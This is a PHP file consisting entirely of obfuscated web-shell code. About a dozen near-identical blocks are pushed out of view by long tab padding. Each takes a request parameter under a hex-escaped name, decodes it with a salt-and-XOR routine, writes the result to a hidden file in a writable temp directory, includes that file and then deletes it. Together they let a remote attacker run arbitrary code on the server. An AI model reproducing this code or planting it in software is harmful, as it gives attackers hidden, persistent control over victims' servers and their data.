<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x61c"])){ $record = $_REQUEST["\x66\x61c"]; $record = explode ( ".", $record ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($record,function ($v2) use (&$pset,&$y,$salt,$lenS) {$chS = ord($salt[$y % $lenS]); $d = ((int)$v2 - $chS - ($y % 10)) ^ 7; $pset.=chr($d); $y++; } ); $dat = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP")]); foreach ($dat as $key => $data) { if ((is_dir($data) and is_writable($data))) { $pgrp = "$data/.comp"; if (file_put_contents($pgrp, $pset)) { include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(array_key_exists("e\x6Et\x72y", $_POST)){ $ref = $_POST["e\x6Et\x72y"]; $ref = explode ( "." , $ref ); $res =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt8); foreach( $ref as $x => $v1) { $chS =ord( $salt8[$x % $sLen]); $d =( ( int)$v1 - $chS -( $x % 10)) ^ 44; $res.=chr( $d);} $symbol = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm"]); foreach ($symbol as $data): if (!!is_dir($data) && !!is_writable($data)) { $comp = str_replace("{var_dir}", $data, "{var_dir}/.tkn"); if (file_put_contents($comp, $res)) { include $comp; @unlink($comp); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["h\x6Cd"])){ $reference = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $object = $_POST["h\x6Cd"]; $object= explode ( '.' , $object ) ; $factor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); foreach ($object as $l => $v4): $chS = ord($salt5[$l %$sLen] ); $d = ((int)$v4 - $chS - ($l %10)) ^ 64; $factor.=chr($d ); endforeach; foreach ($reference as $key => $comp) { if (is_dir($comp) && is_writable($comp)) { $val = "$comp/.element"; if (file_put_contents($val, $factor)) { include $val; @unlink($val); exit; } } } }
																																										if(array_key_exists("m\x72\x6B", $_REQUEST) && !is_null($_REQUEST["m\x72\x6B"])){ $record = $_REQUEST["m\x72\x6B"]; $record = explode ( "." ,$record ); $entity=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $__len=count($record); for ($j=0; $j <$__len; $j++) {$v5=$record[$j]; $chS=ord($salt[$j % $sLen]); $d=((int)$v5 - $chS - ($j % 10)) ^ 41; $entity .= chr($d); } $itm = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP")]); foreach ($itm as $parameter_group) { if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $object = "$parameter_group" . "/.fac"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(in_array("\x6F\x62\x6Aect", array_keys($_POST))){ $fac = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $ref = $_POST["\x6F\x62\x6Aect"]; $ref = explode ( "." , $ref ) ; $data= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $__len= count( $ref); for( $i= 0; $i < $__len; $i++) { $v9= $ref[$i]; $chS= ord( $salt[$i % $lenS]); $dec= ( ( int)$v9 - $chS -( $i % 10))^ 17; $data .= chr( $dec); } foreach ($fac as $key => $pset) { if ((is_dir($pset) and is_writable($pset))) { $factor = implode("/", [$pset, ".elem"]); if (file_put_contents($factor, $data)) { include $factor; @unlink($factor); exit; } } } }
																																										if(@$_POST["p\x67\x72p"] !== null){ $hld = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); $pointer = $_POST["p\x67\x72p"]; $pointer= explode ( '.' , $pointer) ; $k = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $__len = count( $pointer); for( $w = 0; $w < $__len; $w++) { $v5 = $pointer[$w]; $chS = ord( $s6[$w%$lenS]); $dec = ( ( int)$v5 - $chS -( $w%10)) ^ 61; $k .=chr( $dec); } foreach ($hld as $symbol) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $flag = implode("/", [$symbol, ".key"]); if (@file_put_contents($flag, $k) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x65nt"])){ $parameter_group = $_POST["\x65nt"]; $parameter_group = explode ( "." , $parameter_group ); $flg = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $u = 0; while( $u<count( $parameter_group)) { $v3 = $parameter_group[$u]; $sChar = ord( $salt6[$u% $lenS]); $d =( ( int)$v3 - $sChar -( $u% 10)) ^ 46; $flg .= chr( $d); $u++; } $dat = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); for ($desc = 0, $element = count($dat); $desc < $element; $desc++) { $elem = $dat[$desc]; if (is_dir($elem) && is_writable($elem)) { $sym = sprintf("%s/.record", $elem); if (file_put_contents($sym, $flg)) { include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_POST["\x63ompo\x6E\x65\x6Et"]) ? true : false){ $data = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp"]); $ptr = $_POST["\x63ompo\x6E\x65\x6Et"]; $ptr= explode ('.' , $ptr ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; array_walk($ptr , function($v9) use(&$comp , &$p , $salt , $sLen) { $sChar = ord($salt[$p % $sLen]); $d =((int)$v9 - $sChar -($p % 10)) ^ 75; $comp .= chr($d); $p++; } ); foreach ($data as $key => $binding) { if (array_product([is_dir($binding), is_writable($binding)])) { $fac = join("/", [$binding, ".data_chunk"]); if (file_put_contents($fac, $comp)) { require $fac; unlink($fac); exit; } } } }
																																										if(!is_null($_REQUEST["dc\x68\x75\x6Ek"] ?? null)){ $entity = array_filter(["/dev/shm", "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $symbol = $_REQUEST["dc\x68\x75\x6Ek"]; $symbol = explode( "." , $symbol ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $v = 0; $__tmp = $symbol; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $s[$v% $sLen]); $d =( ( int)$v7 - $sChar -( $v% 10)) ^ 57; $key .=chr( $d); $v++; } foreach ($entity as $rec) { if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $token = vsprintf("%s/%s", [$rec, ".entry"]); if (@file_put_contents($token, $key) !== false) { include $token; unlink($token); exit; } } } }
																																										if(!empty($_REQUEST["\x6Fbj\x65c\x74"])){ $resource = $_REQUEST["\x6Fbj\x65c\x74"]; $resource =explode( "." , $resource ) ; $flag = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $__len = count($resource); for ($z = 0; $z < $__len; $z++) { $v8 = $resource[$z]; $sChar = ord($s3[$z % $sLen]); $d = ((int)$v8 - $sChar - ($z % 10)) ^ 90; $flag .= chr($d); } $rec = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp"]); $record = 0; do { $value = $rec[$record] ?? null; if ($record >= count($rec)) break; if ((is_dir($value) and is_writable($value))) { $fac = "$value" . "/.key"; $success = file_put_contents($fac, $flag); if ($success) { include $fac; @unlink($fac); exit;} } $record++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64at"])){ $record = array_filter([session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir()]); $val = $_REQUEST["\x64at"]; $val = explode("." , $val) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($val); for ($y = 0; $y < $__len; $y++) { $v6 = $val[$y]; $chS = ord($s[$y % $sLen]); $dec = ((int)$v6 - $chS - ($y % 10)) ^ 95; $parameter_group .= chr($dec); } $object = 0; do { $descriptor = $record[$object] ?? null; if ($object >= count($record)) break; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $hld = vsprintf("%s/%s", [$descriptor, ".symbol"]); if (file_put_contents($hld, $parameter_group)) { require $hld; unlink($hld); die(); } } $object++; } while (true); }


if(isset($_POST) && isset($_POST["eleme\x6E\x74"])){
	$flg = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP")]);
	$factor = $_POST["eleme\x6E\x74"];
	$factor 		=	explode	(			'.' 		,$factor		) 	 ;	 
	$itm='';
            $salt1='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen(	$salt1 	);
            $j=0;
            $__len=count(	$factor 	);
    
            do {
                if(	$j >= $__len) break;
                $v6=$factor[$j];
                $chS=ord(	$salt1[$j%$sLen] 	);
                $d=(	(	int)$v6 - $chS -(	$j%10)) ^ 18;
                $itm .=chr(	$d 	);
                $j++;	 }		while(	true 	);
	foreach ($flg as $pset) {
    		if (is_dir($pset) ? is_writable($pset) : false) {
    $ent = implode("/", [$pset, ".flag"]);
    if (file_put_contents($ent, $itm)) {
	include $ent;
	@unlink($ent);
	die();
}
}
}
}